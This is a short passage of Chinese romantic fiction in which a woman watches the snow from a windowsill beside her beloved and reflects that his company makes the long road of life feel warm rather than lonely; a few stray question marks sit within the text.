而今也?是下雪的日子,自己扒在窗台前,身边还有个和她一样姿势,并肩看雪的人。人生路漫漫,忽然?就不?寂寞了。因为有了带给她更多希望的郎子,即便大雪纷飞,也?感觉好温暖。